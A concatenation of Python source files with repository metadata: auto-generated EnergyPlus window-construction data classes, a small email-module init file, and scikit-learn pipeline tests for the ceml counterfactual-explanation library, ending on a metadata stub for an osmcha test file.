gap_3_directional_back_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Gap 3 Directional Back Absoptance Matrix Name`""" self["Gap 3 Directional Back Absoptance Matrix Name"] = value @property def layer_4_name(self): """field `Layer 4 Name` Args: value (str): value for IDD Field `Layer 4 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_4_name` or None if not set """ return self["Layer 4 Name"] @layer_4_name.setter def layer_4_name(self, value=None): """Corresponds to IDD field `Layer 4 Name`""" self["Layer 4 Name"] = value @property def layer_4_directional_front_absoptance_matrix_name(self): """field `Layer 4 Directional Front Absoptance Matrix Name` Args: value (str): value for IDD Field `Layer 4 Directional Front Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_4_directional_front_absoptance_matrix_name` or None if not set """ return self["Layer 4 Directional Front Absoptance Matrix Name"] @layer_4_directional_front_absoptance_matrix_name.setter def layer_4_directional_front_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Layer 4 Directional Front Absoptance Matrix Name`""" self["Layer 4 Directional Front Absoptance Matrix Name"] = value @property def layer_4_directional_back_absoptance_matrix_name(self): """field `Layer 4 Directional Back Absoptance Matrix Name` Args: value (str): value for IDD Field `Layer 4 Directional Back Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_4_directional_back_absoptance_matrix_name` or None if not set """ return self["Layer 4 Directional Back Absoptance Matrix Name"] @layer_4_directional_back_absoptance_matrix_name.setter def layer_4_directional_back_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Layer 4 Directional Back Absoptance Matrix Name`""" self["Layer 4 Directional Back Absoptance Matrix Name"] = value @property def gap_4_name(self): """field `Gap 4 Name` Args: value (str): value for IDD Field `Gap 4 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gap_4_name` or None if not set """ return self["Gap 4 Name"] @gap_4_name.setter def gap_4_name(self, value=None): """Corresponds to IDD field `Gap 4 Name`""" self["Gap 4 Name"] = value @property def gap_4_directional_front_absoptance_matrix_name(self): """field `Gap 4 Directional Front Absoptance Matrix Name` | Reserved for future use. Leave it blank for this version Args: value (str): value for IDD Field `Gap 4 Directional Front Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gap_4_directional_front_absoptance_matrix_name` or None if not set """ return self["Gap 4 Directional Front Absoptance Matrix Name"] @gap_4_directional_front_absoptance_matrix_name.setter def gap_4_directional_front_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Gap 4 Directional Front Absoptance Matrix Name`""" self["Gap 4 Directional Front Absoptance Matrix Name"] = value @property def gap_4_directional_back_absoptance_matrix_name(self): """field `Gap 4 Directional Back Absoptance Matrix Name` | Reserved for future use. Leave it blank for this version Args: value (str): value for IDD Field `Gap 4 Directional Back Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gap_4_directional_back_absoptance_matrix_name` or None if not set """ return self["Gap 4 Directional Back Absoptance Matrix Name"] @gap_4_directional_back_absoptance_matrix_name.setter def gap_4_directional_back_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Gap 4 Directional Back Absoptance Matrix Name`""" self["Gap 4 Directional Back Absoptance Matrix Name"] = value @property def layer_5_name(self): """field `Layer 5 Name` Args: value (str): value for IDD Field `Layer 5 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_5_name` or None if not set """ return self["Layer 5 Name"] @layer_5_name.setter def layer_5_name(self, value=None): """Corresponds to IDD field `Layer 5 Name`""" self["Layer 5 Name"] = value @property def layer_5_directional_front_absoptance_matrix_name(self): """field `Layer 5 Directional Front Absoptance Matrix Name` Args: value (str): value for IDD Field `Layer 5 Directional Front Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_5_directional_front_absoptance_matrix_name` or None if not set """ return self["Layer 5 Directional Front Absoptance Matrix Name"] @layer_5_directional_front_absoptance_matrix_name.setter def layer_5_directional_front_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Layer 5 Directional Front Absoptance Matrix Name`""" self["Layer 5 Directional Front Absoptance Matrix Name"] = value @property def layer_5_directional_back_absoptance_matrix_name(self): """field `Layer 5 Directional Back Absoptance Matrix Name` Args: value (str): value for IDD Field `Layer 5 Directional Back Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_5_directional_back_absoptance_matrix_name` or None if not set """ return self["Layer 5 Directional Back Absoptance Matrix Name"] @layer_5_directional_back_absoptance_matrix_name.setter def layer_5_directional_back_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Layer 5 Directional Back Absoptance Matrix Name`""" self["Layer 5 Directional Back Absoptance Matrix Name"] = value class ConstructionWindowEquivalentLayer(DataObject): """ Corresponds to IDD object `Construction:WindowEquivalentLayer` Start with outside layer and work your way to the inside Layer Up to 11 layers total. Up to six solid layers and up to five gaps. Enter the material name for each layer """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'outside layer', {'name': u'Outside Layer', 'pyname': u'outside_layer', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 2', {'name': u'Layer 2', 'pyname': u'layer_2', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 3', {'name': u'Layer 3', 'pyname': u'layer_3', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 4', {'name': u'Layer 4', 'pyname': u'layer_4', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 5', {'name': u'Layer 5', 'pyname': u'layer_5', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 6', {'name': u'Layer 6', 'pyname': u'layer_6', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 7', {'name': u'Layer 7', 'pyname': u'layer_7', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 8', {'name': u'Layer 8', 'pyname': u'layer_8', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 9', {'name': u'Layer 9', 'pyname': u'layer_9', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 10', {'name': u'Layer 10', 'pyname': u'layer_10', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 11', {'name': u'Layer 11', 'pyname': u'layer_11', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 2, 'name': u'Construction:WindowEquivalentLayer', 'pyname': u'ConstructionWindowEquivalentLayer', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def outside_layer(self): """field `Outside Layer` Args: value (str): value for IDD Field `Outside Layer` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `outside_layer` or None if not set """ return self["Outside Layer"] @outside_layer.setter def outside_layer(self, value=None): """Corresponds to IDD field `Outside Layer`""" self["Outside Layer"] = value @property def layer_2(self): """field `Layer 2` Args: value (str): value for IDD Field `Layer 2` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_2` or None if not set """ return self["Layer 2"] @layer_2.setter def layer_2(self, value=None): """Corresponds to IDD field `Layer 2`""" self["Layer 2"] = value @property def layer_3(self): """field `Layer 3` Args: value (str): value for IDD Field `Layer 3` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_3` or None if not set """ return self["Layer 3"] @layer_3.setter def layer_3(self, value=None): """Corresponds to IDD field `Layer 3`""" self["Layer 3"] = value @property def layer_4(self): """field `Layer 4` Args: value (str): value for IDD Field `Layer 4` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_4` or None if not set """ return self["Layer 4"] @layer_4.setter def layer_4(self, value=None): """Corresponds to IDD field `Layer 4`""" self["Layer 4"] = value @property def layer_5(self): """field `Layer 5` Args: value (str): value for IDD Field `Layer 5` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_5` or None if not set """ return self["Layer 5"] @layer_5.setter def layer_5(self, value=None): """Corresponds to IDD field `Layer 5`""" self["Layer 5"] = value @property def layer_6(self): """field `Layer 6` Args: value (str): value for IDD Field `Layer 6` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_6` or None if not set """ return self["Layer 6"] @layer_6.setter def layer_6(self, value=None): """Corresponds to IDD field `Layer 6`""" self["Layer 6"] = value @property def layer_7(self): """field `Layer 7` Args: value (str): value for IDD Field `Layer 7` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_7` or None if not set """ return self["Layer 7"] @layer_7.setter def layer_7(self, value=None): """Corresponds to IDD field `Layer 7`""" self["Layer 7"] = value @property def layer_8(self): """field `Layer 8` Args: value (str): value for IDD Field `Layer 8` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_8` or None if not set """ return self["Layer 8"] @layer_8.setter def layer_8(self, value=None): """Corresponds to IDD field `Layer 8`""" self["Layer 8"] = value @property def layer_9(self): """field `Layer 9` Args: value (str): value for IDD Field `Layer 9` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_9` or None if not set """ return self["Layer 9"] @layer_9.setter def layer_9(self, value=None): """Corresponds to IDD field `Layer 9`""" self["Layer 9"] = value @property def layer_10(self): """field `Layer 10` Args: value (str): value for IDD Field `Layer 10` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_10` or None if not set """ return self["Layer 10"] @layer_10.setter def layer_10(self, value=None): """Corresponds to IDD field `Layer 10`""" self["Layer 10"] = value @property def layer_11(self): """field `Layer 11` Args: value (str): value for IDD Field `Layer 11` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_11` or None if not set """ return self["Layer 11"] @layer_11.setter def layer_11(self, value=None): """Corresponds to IDD field `Layer 11`""" self["Layer 11"] = value class ConstructionWindowDataFile(DataObject): """ Corresponds to IDD object `Construction:WindowDataFile` Initiates search of the Window data file for a window called Name. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'file name', {'name': u'File Name', 'pyname': u'file_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'alpha'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'Construction:WindowDataFile', 'pyname': u'ConstructionWindowDataFile', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def file_name(self): """field `File Name` | default file name is "Window5DataFile.dat" | limit on this field is 100 characters. Args: value (str): value for IDD Field `File Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `file_name` or None if not set """ return self["File Name"] @file_name.setter def file_name(self, value=None): """Corresponds to IDD field `File Name`""" self["File Name"] = value class MaterialPropertyGlazingSpectralData(DataObject): """ Corresponds to IDD object `MaterialProperty:GlazingSpectralData` Name is followed by up to 800 sets of normal-incidence measured values of [wavelength, transmittance, front reflectance, back reflectance] for wavelengths covering the solar spectrum (from about 0.25 to 2.5 microns) """ _schema = {'extensible-fields': OrderedDict([(u'wavelength', {'name': u'Wavelength', 'pyname': u'wavelength', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'micron'}), (u'transmittance', {'name': u'Transmittance', 'pyname': u'transmittance', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real'}), (u'front reflectance', {'name': u'Front Reflectance', 'pyname': u'front_reflectance', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real'}), (u'back reflectance', {'name': u'Back Reflectance', 'pyname': u'back_reflectance', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real'})]), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': 'alpha'})]), 'format': u'spectral', 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'MaterialProperty:GlazingSpectralData', 'pyname': u'MaterialPropertyGlazingSpectralData', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value def add_extensible(self, wavelength=None, transmittance=None, front_reflectance=None, back_reflectance=None, ): """Add values for extensible fields. Args: wavelength (float): value for IDD Field `Wavelength` Units: micron if `value` is None it will not be checked against the specification and is assumed to be a missing value transmittance (float): value for IDD Field `Transmittance` if `value` is None it will not be checked against the specification and is assumed to be a missing value front_reflectance (float): value for IDD Field `Front Reflectance` if `value` is None it will not be checked against the specification and is assumed to be a missing value back_reflectance (float): value for IDD Field `Back Reflectance` if `value` is None it will not be checked against the specification and is assumed to be a missing value """ vals = [] wavelength = self.check_value("Wavelength", wavelength) vals.append(wavelength) transmittance = self.check_value("Transmittance", transmittance) vals.append(transmittance) front_reflectance = self.check_value( "Front Reflectance", front_reflectance) vals.append(front_reflectance) back_reflectance = self.check_value( "Back Reflectance", back_reflectance) vals.append(back_reflectance) self._extdata.append(vals) @property def extensibles(self): """Get list of all extensibles.""" return self._extdata @extensibles.setter def extensibles(self, extensibles): """Replaces extensible fields with `extensibles` Args: extensibles (list): nested list of extensible values """ self._extdata = [] for ext in extensibles: self.add_extensible(*ext)

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837b7a81a53a0003f20450258ded9fb2526e5fb8

191

py

Python

h/emails/__init__.py

julien-cheng/h

36c8ec044725720cf36f0986cdf025395aca8929

[ "BSD-2-Clause" ]

2

2019-08-04T07:22:11.000Z

2020-07-17T05:01:41.000Z

h/emails/__init__.py

fuelpress/i.fuel.press

af7b25895d813af0fef656dcf483afe852a99d76

[ "BSD-2-Clause" ]

4

2020-03-24T17:38:24.000Z

2022-03-02T05:45:01.000Z

h/emails/__init__.py

fuelpress/i.fuel.press

af7b25895d813af0fef656dcf483afe852a99d76

[ "BSD-2-Clause" ]

null

# -*- coding: utf-8 -*- from __future__ import unicode_literals from h.emails import reply_notification, reset_password, signup __all__ = ("reply_notification", "reset_password", "signup")

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17,311

py

Python

tests/sklearn/test_sklearn_pipeline.py

andreArtelt/ceml

364d4630d6a01592c2ab86f2d53dbb7feb682381

[ "MIT" ]

24

2019-07-12T08:11:25.000Z

2021-12-09T19:24:53.000Z

tests/sklearn/test_sklearn_pipeline.py

andreArtelt/ceml

364d4630d6a01592c2ab86f2d53dbb7feb682381

[ "MIT" ]

6

2020-09-28T04:42:44.000Z

2021-09-27T06:59:36.000Z

tests/sklearn/test_sklearn_pipeline.py

andreArtelt/ceml

364d4630d6a01592c2ab86f2d53dbb7feb682381

[ "MIT" ]

7

2019-09-11T13:54:57.000Z

2021-01-14T13:13:26.000Z

# -*- coding: utf-8 -*- import sys sys.path.insert(0,'..') import numpy as np np.random.seed(42) import sklearn from sklearn.datasets import load_iris, load_boston from sklearn.model_selection import train_test_split from sklearn.linear_model import LogisticRegression, Lasso from sklearn.preprocessing import StandardScaler, RobustScaler, PolynomialFeatures, Normalizer, MinMaxScaler, MaxAbsScaler from sklearn.decomposition import PCA from sklearn.pipeline import make_pipeline from ceml.sklearn import generate_counterfactual def compute_counterfactuals(model, x, y): features_whitelist = None x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l1", C=1.0, optimizer="bfgs", return_as_dict=False) assert y_cf == 0 assert model.predict(np.array([x_cf])) == y x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l1", C=1.0, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization=None, optimizer="bfgs", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization=None, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y features_whitelist = [1, 2] x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l1", C=1.0, optimizer="bfgs", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l1", C=1.0, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) features_whitelist = [0, 1, 2] x_cf, y_cf, delta = generate_counterfactual(model, x, 0, features_whitelist=features_whitelist, regularization=None, optimizer="bfgs", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) x_cf, y_cf, delta = generate_counterfactual(model, x, 0, features_whitelist=features_whitelist, regularization=None, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) def compute_counterfactuals_poly(model, x, y): features_whitelist = None x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l1", C=1.0, optimizer="bfgs", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l1", C=1.0, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization=None, optimizer="bfgs", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization=None, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y features_whitelist = [0, 1, 2] x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l1", C=1.0, optimizer="bfgs", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l1", C=1.0, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization=None, optimizer="bfgs", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) x_cf, y_cf, delta = generate_counterfactual(model, x, 0, features_whitelist=features_whitelist, regularization=None, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) def compute_counterfactuals_2(model, x, y): features_whitelist = None x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization=None, optimizer="bfgs", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization=None, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization=None, optimizer="powell", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l1", C=0.001, optimizer="bfgs", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l1", C=0.001, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l1", C=0.001, optimizer="powell", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y features_whitelist = [0, 1, 2] x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization=None, optimizer="bfgs", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization=None, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization=None, optimizer="powell", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l2", C=0.001, optimizer="bfgs", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l2", C=0.001, optimizer="nelder-mead", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) x_cf, y_cf, delta = generate_counterfactual(model, x, y, features_whitelist=features_whitelist, regularization="l2", C=0.001, optimizer="powell", return_as_dict=False) assert y_cf == y assert model.predict(np.array([x_cf])) == y assert all([True if i in features_whitelist else delta[i] == 0. for i in range(x.shape[0])]) def test_pipeline_scaler_softmaxregression(): # Load data X, y = load_iris(return_X_y=True) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=4242) # Create and fit model scaler = StandardScaler() pca = PCA(n_components=2) model = LogisticRegression(solver='lbfgs', multi_class='multinomial') model = make_pipeline(scaler, model) model.fit(X_train, y_train) # Select data point for explaining its prediction x_orig = X_test[1:4][0,:] assert model.predict([x_orig]) == 2 # Compute counterfactual compute_counterfactuals(model, x_orig, 0) x_cf, y_cf, delta = generate_counterfactual(model, x_orig, 0, features_whitelist=None, optimizer="mp", regularization=None, return_as_dict=False) assert y_cf == 0 assert model.predict(np.array([x_cf])) == 0 x_cf, y_cf, delta = generate_counterfactual(model, x_orig, 0, features_whitelist=None, optimizer="mp", regularization="l1", return_as_dict=False) assert y_cf == 0 assert model.predict(np.array([x_cf])) == 0 features_whitelist = [0, 1, 2] x_cf, y_cf, delta = generate_counterfactual(model, x_orig, 0, features_whitelist=features_whitelist, optimizer="mp", regularization=None, return_as_dict=False) assert y_cf == 0 assert model.predict(np.array([x_cf])) == 0 x_cf, y_cf, delta = generate_counterfactual(model, x_orig, 0, features_whitelist=features_whitelist, optimizer="mp", regularization="l1", return_as_dict=False) assert y_cf == 0 assert model.predict(np.array([x_cf])) == 0 # More than one preprocessing model = LogisticRegression(solver='lbfgs', multi_class='multinomial') model = make_pipeline(pca, scaler, model) model.fit(X_train, y_train) assert model.predict([x_orig]) == 2 x_cf, y_cf, delta = generate_counterfactual(model, x_orig, 0, features_whitelist=None, optimizer="mp", regularization=None, return_as_dict=False) assert y_cf == 0 assert model.predict(np.array([x_cf])) == 0 x_cf, y_cf, delta = generate_counterfactual(model, x_orig, 0, features_whitelist=None, optimizer="mp", regularization="l1", return_as_dict=False) assert y_cf == 0 assert model.predict(np.array([x_cf])) == 0 def test_pipeline_robustscaler_softmaxregression(): # Load data X, y = load_iris(return_X_y=True) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=4242) # Create and fit model scaler = RobustScaler() model = LogisticRegression(solver='lbfgs', multi_class='multinomial') model = make_pipeline(scaler, model) model.fit(X_train, y_train) # Select data point for explaining its prediction x_orig = X_test[1:4][0,:] assert model.predict([x_orig]) == 2 # Compute counterfactual compute_counterfactuals(model, x_orig, 0) def test_pipeline_maxabsscaler_softmaxregression(): # Load data X, y = load_iris(return_X_y=True) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=4242) # Create and fit model scaler = MaxAbsScaler() model = LogisticRegression(solver='lbfgs', multi_class='multinomial') model = make_pipeline(scaler, model) model.fit(X_train, y_train) # Select data point for explaining its prediction x_orig = X_test[1:4][0,:] assert model.predict([x_orig]) == 2 # Compute counterfactual compute_counterfactuals_2(model, x_orig, 0) def test_pipeline_minmaxscaler_softmaxregression(): # Load data X, y = load_iris(return_X_y=True) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=4242) # Create and fit model scaler = MinMaxScaler() model = LogisticRegression(solver='lbfgs', multi_class='multinomial') model = make_pipeline(scaler, model) model.fit(X_train, y_train) # Select data point for explaining its prediction x_orig = X_test[1:4][0,:] assert model.predict([x_orig]) == 2 # Compute counterfactual compute_counterfactuals_2(model, x_orig, 0) x_cf, y_cf, delta = generate_counterfactual(model, x_orig, 0, features_whitelist=None, optimizer="mp", regularization=None, return_as_dict=False) assert y_cf == 0 assert model.predict(np.array([x_cf])) == 0 x_cf, y_cf, delta = generate_counterfactual(model, x_orig, 0, features_whitelist=None, optimizer="mp", regularization="l1", return_as_dict=False) assert y_cf == 0 assert model.predict(np.array([x_cf])) == 0 features_whitelist = [0, 1, 2] x_cf, y_cf, delta = generate_counterfactual(model, x_orig, 0, features_whitelist=features_whitelist, optimizer="mp", regularization=None, return_as_dict=False) assert y_cf == 0 assert model.predict(np.array([x_cf])) == 0 x_cf, y_cf, delta = generate_counterfactual(model, x_orig, 0, features_whitelist=features_whitelist, optimizer="mp", regularization="l1", return_as_dict=False) assert y_cf == 0 assert model.predict(np.array([x_cf])) == 0 def test_pipeline_normalizer_softmaxregression(): # Load data X, y = load_iris(return_X_y=True) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=4242) # Create and fit model scaler = Normalizer() model = LogisticRegression(solver='lbfgs', multi_class='multinomial') model = make_pipeline(scaler, model) model.fit(X_train, y_train) # Select data point for explaining its prediction x_orig = X_test[1:4][0,:] assert model.predict([x_orig]) == 2 # Compute counterfactual compute_counterfactuals_2(model, x_orig, 0) def test_pipeline_poly_softmaxregression(): # Load data X, y = load_iris(return_X_y=True) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=4242) # Create and fit model poly = PolynomialFeatures(degree=2) model = LogisticRegression(solver='lbfgs', multi_class='multinomial') model = make_pipeline(poly, model) model.fit(X_train, y_train) # Select data point for explaining its prediction x_orig = X_test[1:4][0,:] assert model.predict([x_orig]) == 2 # Compute counterfactual compute_counterfactuals_poly(model, x_orig, 0) def test_pipeline_scaler_poly_softmaxregression(): # Load data X, y = load_iris(return_X_y=True) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=4242) # Create and fit model poly = PolynomialFeatures(degree=2) scaler = StandardScaler() model = LogisticRegression(solver='lbfgs', multi_class='multinomial') model = make_pipeline(poly, scaler, model) model.fit(X_train, y_train) # Select data point for explaining its prediction x_orig = X_test[1:4][0,:] assert model.predict([x_orig]) == 2 # Compute counterfactual compute_counterfactuals_poly(model, x_orig, 0) def test_pipeline_pca_linearregression(): # Load data X, y = load_boston(return_X_y=True) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=4242) # Create and fit model pca = PCA(n_components=4) model = Lasso() model = make_pipeline(pca, model) model.fit(X_train, y_train) # Select data point for explaining its prediction x_orig = X_test[1:4][0,:] y_orig_pred = model.predict([x_orig]) assert y_orig_pred >= 25 and y_orig_pred < 26 # Compute counterfactual y_target = 20. y_target_done = lambda z: np.abs(z - y_target) < 3. x_cf, y_cf, _ = generate_counterfactual(model, x_orig, y_target=y_target, done=y_target_done, regularization="l1", C=0.1, features_whitelist=None, optimizer="bfgs", return_as_dict=False) assert y_target_done(y_cf) assert y_target_done(model.predict(np.array([x_cf]))) x_cf, y_cf, _ = generate_counterfactual(model, x_orig, y_target=y_target, done=y_target_done, regularization="l1", features_whitelist=None, optimizer="mp", return_as_dict=False) assert y_target_done(y_cf) assert y_target_done(model.predict(np.array([x_cf]))) x_cf, y_cf, _ = generate_counterfactual(model, x_orig, y_target=y_target, done=y_target_done, regularization="l2", features_whitelist=None, optimizer="mp", return_as_dict=False) assert y_target_done(y_cf) assert y_target_done(model.predict(np.array([x_cf])))

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Python

osmchadjango/supervise/tests/test_views.py

tordans/osmcha-django

21456989abec20c9c65a91c57cc9da8661121e6a

[ "BSD-2-Clause" ]

null

osmchadjango/supervise/tests/test_views.py

tordans/osmcha-django

21456989abec20c9c65a91c57cc9da8661121e6a

[ "BSD-2-Clause" ]

null

osmchadjango/supervise/tests/test_views.py

tordans/osmcha-django

21456989abec20c9c65a91c57cc9da8661121e6a

